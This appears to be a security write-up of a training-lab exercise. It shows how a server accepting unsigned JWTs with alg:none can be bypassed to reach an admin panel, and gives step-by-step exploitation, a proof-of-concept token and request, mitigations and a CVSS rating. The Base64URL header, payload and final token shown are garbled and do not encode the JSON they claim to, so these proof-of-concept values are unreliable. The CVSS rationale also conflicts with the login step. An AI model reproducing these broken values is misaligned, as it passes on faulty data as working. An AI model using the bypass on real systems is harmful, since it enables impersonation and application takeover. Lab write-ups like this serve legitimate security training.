

Title of Issue

JWT Authentication Bypass — Algorithm Confusion via `alg:none` Attack

Description

The application accepts JWTs where the `alg` header parameter is set to `"none"`. When this algorithm is specified, the JWT standard defines that no signature is required — the token is considered "unsecured". A vulnerable server that does not explicitly reject `alg:none` tokens will accept a tampered JWT with a modified payload and no signature whatsoever, granting the attacker arbitrary claims.

An attacker can take any valid JWT, change the `alg` to `"none"`, modify the `sub` claim to `"administrator"`, strip the signature entirely, and submit the resulting unsigned token. If the server processes it, full administrative access is obtained.

Affected Mechanism: JWT session token (cookie: `session`) **Root Cause:** Server accepts `alg:none` — unsigned tokens are trusted

Steps to Exploit

1. Log in as `wiener:peter` and capture the session JWT.
2. Decode the JWT — Header, Payload, Signature (three Base64URL segments).
3. **Modify the Header** — change `"alg"` from `"RS256"` (or `"HS256"`) to `"none"` :

```
{"alg":"none","typ":"JWT"}
```

4. **Modify the Payload** — change `"sub"` to `"administrator"` :

```
{"iss":"portswigger","sub":"administrator","exp":1700000000}
```

5. Re-encode both sections as Base64URL.
6. **Construct the unsigned token** — concatenate header and payload with a dot, followed by a trailing dot (empty signature):

```
<new-header>.<new-payload>.
```

7. Replace the session cookie with this unsigned token.
8. Navigate to `/admin` — access is granted without any valid signature.
9. Delete user `carlos`.

Proof of Concept

Modified Header:

```
{"alg":"none","typ":"JWT"}
```

Base64URL: `eyJhbGciOiJIub251IiwidHlwIjoiSldUIIn0`

Modified Payload:

```
{"iss":"portswigger","sub":"administrator","exp":1700000000}
```

Base64URL: `eyJpc3MiOiJwb3J0c3dpZ2dldciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE3MDAwMDAwMDB9`

Final Unsigned Token (note trailing dot — empty signature):

```
eyJhbGciOiJIub251IiwidHlwIjoiSldUIIn0.eyJpc3MiOiJwb3J0c3dpZ2dldciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE3MDAwMDAwMDB9.
```

HTTP Request:

```
GET /admin HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie:
session=eyJhbGciOiJIub251IiwidHlwIjoiSldUIIn0.eyJpc3MiOiJwb3J0c3dpZ2dldciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE3MDAwMDAwMDB9.
```

Response: HTTP 200 — full admin panel access, no signature verification performed.

Impact

- Complete authentication bypass — administrative access with no cryptographic credentials.
- Any account can be impersonated by modifying the `sub` claim.
- JWT as an authentication mechanism is entirely compromised.
- Full application takeover including user management, data exfiltration, and configuration access.

Mitigation / Remediation

1. **Explicitly reject tokens with `alg:none`** — configure the JWT library to whitelist only expected algorithms (e.g., `RS256` , `ES256`).
2. **Never rely on the token's own `alg` header** to determine which algorithm to use for verification — hardcode the expected algorithm server-side.
3. **Use a well-maintained JWT library** that rejects `none` by default (many modern libraries do).
4. **Rotate signing keys regularly** and implement key ID (`kid`) validation.
5. **Log and alert on tokens with unexpected algorithm values** as a detection measure.

CVSS Score

CVSS v3.1 Score: 9.8 (Critical) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via HTTP
Attack Complexity	Low	Token construction is trivial
Privileges Required	None	Any JWT from any account is the starting point
User Interaction	None	No victim action required
Scope	Unchanged	Impact within the application
Confidentiality Impact	High	Unrestricted access to all application data
Integrity Impact	High	Admin can modify or delete any resource
Availability Impact	High	Admin can disrupt or destroy service